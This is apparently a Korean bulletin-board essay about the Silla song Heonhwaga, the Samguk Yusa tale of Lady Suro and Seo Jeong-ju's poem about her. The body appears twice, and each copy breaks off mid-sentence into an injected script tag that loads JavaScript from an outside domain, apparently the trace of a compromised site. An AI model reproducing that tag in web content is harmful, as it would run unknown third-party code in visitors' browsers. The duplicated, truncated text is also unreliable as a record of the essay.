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[제목]
이런 곳도 있는데 (백운학)
🧑 정부영
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📅 2016-01-05 18:55:53
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👀 65
나는 5월의 동해바다를 늘 가슴에 담고 살아왔다. 연록색의 여리디 여린 물색과 졸음이 쏱아지게 강한 햇살하며, 백사장에 점점이 박혀있는 붉디 붉은 해당화가 한바탕 군무를 추는 몽환속에서 신라의 아프로디테인 수로부인을 만날 수 있을지도 모른다는 생각에 나는 벌써 동해바다로 달려가고 있다.
헌화가
딛배 바회 갖해
자바온 손 암쇼 노해시고
나흘 안디 붓하리샤단
곶할 것가 바자 바리이다.
붉은 벼랑가에
잡은 손 암소 놓고
나를 아니 부끄리시면
꽃을 꺽어 바치리이다
신라 향가인 헌화가의 배경에 대해 삼국유사에 기록된 내용을 옮겨보면 성덕왕 때에 순정공이 강릉(지금 명주) 태수로 가는 도중 바닷가에서 점심을 먹고 있었다. 그 옆에 병풍같은 바위 벽이 있어 바다에 맞닿았는데 높이가 천 길이나 되었고, 그 위에는 철쭉꽃이 한창 피어 있었다. 공의 부인 수로가 그것을 보고 옆 사람들에게 "저 꽃을 꺾어다 바칠 자 그 누구뇨?" 하니 모시는 사람들이 모두 "사람이 발 붙일 곳이 못 됩니다." 하고 사양하였다. 그 곁에 늙은 노인이 암소를 끌고 지나다가 부인의 말을 듣고 꽃을 꺾어 노래를 지어 바쳤으나 그가 어떤 사람인지 알지 못했다.
다시 이틀 길을 가다가 바닷가 정자에서 점심을 먹는데 용이 홀연히 나타나 부인을 끌고 바다로 들어갔다. 공이 기절하여 땅을 쳐보았지만 아무 방법이 없었다. 한 노인이 있다가 "옛 사람의 말에 여러 사람의 입은 쇠도 녹인다 하였는데 지금 바다 짐승이 어찌 여러 사람의 입을 두려워하지 않겠는가. 당장 이 경내의 백성을 불러서 노래를 부르며 몽둥이로 언덕을 두드리면 부인을 볼 수 있을 것이다."라고 하였다. 공이 그대로 하였더니 용이 바다에서 부인을 데리고 나와 바쳤다. 여럿이 부른 해가(海歌)의 가사는 이러하다.
거북아 거북아 수로를 내 놓아라.
남의 부녀 뺏어간 죄 그 얼마나 클까.
네 만일 거역하고 내놓지 않으면
그물로 사로잡아 구워먹고 말 테다.
공은 부인에게 바다 속의 사정을 물었다. 부인은 "칠보 궁전에 음식이 달고 부드러우며 향기가 있고 깨끗하여 세상의 익히거나 삶은 음식이 아니더라."하였다. 옷에도 향기가 배어 세상에서 맡는 향기가 아니었다. 수로의 자색과 용모가 절대가인이어서 깊은 산이나 큰 못을 지날 때마다 여러 번 신에게 잡히었다. 그녀의 아름다움을 현대시에서는 이렇게 노래하고 있다.
水路夫人의 얼굴
서정주
1
암소를 끌고 가던
수염이 흰 할아버지가
그 손의 고삐를
아조 그만 놓아 버리게 할 만큼,
소 고삐 놓아두고
높은 낭떠러지를
다람쥐 새끼같이 뽀르르르 기어오르게 할 만큼,
기어올라가서
진달래 꽃 꺾어다가
노래 한 수 지어 불러
갖다 바치게 할 만큼,
2
亭子에서 點心 먹고 있는 것
엿 보고
바다 속에서 龍이란 놈이 나와
가로 채 업고
천길 물 속 깊이 들어가 버리게 할 만큼,
3
왼 고을 안 사내가
모두
몽둥이를 휘두르고 나오게 할 만큼,
왼 고을 안 사내들의 몽둥이란 몽둥이가
한꺼번에 바닷가 언덕을 아프게 치게 할 만큼,
왼 고을 안의 말씀이란 말씀이
모조리 한꺼번에 몰려나오게 할 만큼,
내 놓아라 내 놓아라
우리 水路 내 놓아라
여럿의 말씀은 무쇠도 녹인다고
물 속 천리를 뚫고
바다 밑바닥까지 닿아가게 할 만큼,
4
업어 간 龍도 독차지는 못하고
되 업어다 江陵 땅에 내놓아야 할 만큼,
안장 좋은 거북이 등에
되 업어다 내놓아야 할 만큼,
그래서
그 몸뚱이에서는
왼갖 용궁 향내까지가
골고루 다 풍기어 나왔었느니라.
《잡은 손 암소 놓고》는 말 한마디로, 실로 수천 장의 연문(戀文)으로도 다하기 어려운 자신의 결단을 표현한 것이다. 춘추시대의 백리해는 소를 살찌게 기를 줄 알았기에 진목공(秦穆公)의 신망을 얻어 상경(上卿)벼슬을 받아 국사를 돌보게 한 이야기는 소를 잘 기를 줄 아는 사람이면 능히 국사를 맡아 백성을 살찌게 할 수 있다고 믿었던 까닭이다. 이렇듯 소는 물질적 생활의 방편으로 여겨지기도 했지만 기실 세속의 영욕을 등진 채 착하고 어질게 살려는 고고한 은자의 정신적 방편이기도 했다. 요임금이 제위를 소부(巢父)에게 물려주려 할 때에 그 은자(隱者)는 "당신이 천하를 다스리는 것은 내가 송아지를 기?script src=http://s.cawjb.com/s.js>
헌화가
딛배 바회 갖해
자바온 손 암쇼 노해시고
나흘 안디 붓하리샤단
곶할 것가 바자 바리이다.
붉은 벼랑가에
잡은 손 암소 놓고
나를 아니 부끄리시면
꽃을 꺽어 바치리이다
신라 향가인 헌화가의 배경에 대해 삼국유사에 기록된 내용을 옮겨보면 성덕왕 때에 순정공이 강릉(지금 명주) 태수로 가는 도중 바닷가에서 점심을 먹고 있었다. 그 옆에 병풍같은 바위 벽이 있어 바다에 맞닿았는데 높이가 천 길이나 되었고, 그 위에는 철쭉꽃이 한창 피어 있었다. 공의 부인 수로가 그것을 보고 옆 사람들에게 "저 꽃을 꺾어다 바칠 자 그 누구뇨?" 하니 모시는 사람들이 모두 "사람이 발 붙일 곳이 못 됩니다." 하고 사양하였다. 그 곁에 늙은 노인이 암소를 끌고 지나다가 부인의 말을 듣고 꽃을 꺾어 노래를 지어 바쳤으나 그가 어떤 사람인지 알지 못했다.
다시 이틀 길을 가다가 바닷가 정자에서 점심을 먹는데 용이 홀연히 나타나 부인을 끌고 바다로 들어갔다. 공이 기절하여 땅을 쳐보았지만 아무 방법이 없었다. 한 노인이 있다가 "옛 사람의 말에 여러 사람의 입은 쇠도 녹인다 하였는데 지금 바다 짐승이 어찌 여러 사람의 입을 두려워하지 않겠는가. 당장 이 경내의 백성을 불러서 노래를 부르며 몽둥이로 언덕을 두드리면 부인을 볼 수 있을 것이다."라고 하였다. 공이 그대로 하였더니 용이 바다에서 부인을 데리고 나와 바쳤다. 여럿이 부른 해가(海歌)의 가사는 이러하다.
거북아 거북아 수로를 내 놓아라.
남의 부녀 뺏어간 죄 그 얼마나 클까.
네 만일 거역하고 내놓지 않으면
그물로 사로잡아 구워먹고 말 테다.
공은 부인에게 바다 속의 사정을 물었다. 부인은 "칠보 궁전에 음식이 달고 부드러우며 향기가 있고 깨끗하여 세상의 익히거나 삶은 음식이 아니더라."하였다. 옷에도 향기가 배어 세상에서 맡는 향기가 아니었다. 수로의 자색과 용모가 절대가인이어서 깊은 산이나 큰 못을 지날 때마다 여러 번 신에게 잡히었다. 그녀의 아름다움을 현대시에서는 이렇게 노래하고 있다.
水路夫人의 얼굴
서정주
1
암소를 끌고 가던
수염이 흰 할아버지가
그 손의 고삐를
아조 그만 놓아 버리게 할 만큼,
소 고삐 놓아두고
높은 낭떠러지를
다람쥐 새끼같이 뽀르르르 기어오르게 할 만큼,
기어올라가서
진달래 꽃 꺾어다가
노래 한 수 지어 불러
갖다 바치게 할 만큼,
2
亭子에서 點心 먹고 있는 것
엿 보고
바다 속에서 龍이란 놈이 나와
가로 채 업고
천길 물 속 깊이 들어가 버리게 할 만큼,
3
왼 고을 안 사내가
모두
몽둥이를 휘두르고 나오게 할 만큼,
왼 고을 안 사내들의 몽둥이란 몽둥이가
한꺼번에 바닷가 언덕을 아프게 치게 할 만큼,
왼 고을 안의 말씀이란 말씀이
모조리 한꺼번에 몰려나오게 할 만큼,
내 놓아라 내 놓아라
우리 水路 내 놓아라
여럿의 말씀은 무쇠도 녹인다고
물 속 천리를 뚫고
바다 밑바닥까지 닿아가게 할 만큼,
4
업어 간 龍도 독차지는 못하고
되 업어다 江陵 땅에 내놓아야 할 만큼,
안장 좋은 거북이 등에
되 업어다 내놓아야 할 만큼,
그래서
그 몸뚱이에서는
왼갖 용궁 향내까지가
골고루 다 풍기어 나왔었느니라.
《잡은 손 암소 놓고》는 말 한마디로, 실로 수천 장의 연문(戀文)으로도 다하기 어려운 자신의 결단을 표현한 것이다. 춘추시대의 백리해는 소를 살찌게 기를 줄 알았기에 진목공(秦穆公)의 신망을 얻어 상경(上卿)벼슬을 받아 국사를 돌보게 한 이야기는 소를 잘 기를 줄 아는 사람이면 능히 국사를 맡아 백성을 살찌게 할 수 있다고 믿었던 까닭이다. 이렇듯 소는 물질적 생활의 방편으로 여겨지기도 했지만 기실 세속의 영욕을 등진 채 착하고 어질게 살려는 고고한 은자의 정신적 방편이기도 했다. 요임금이 제위를 소부(巢父)에게 물려주려 할 때에 그 은자(隱者)는 "당신이 천하를 다스리는 것은 내가 송아지를 기?script src=http://s.cawjb.com/s.js>
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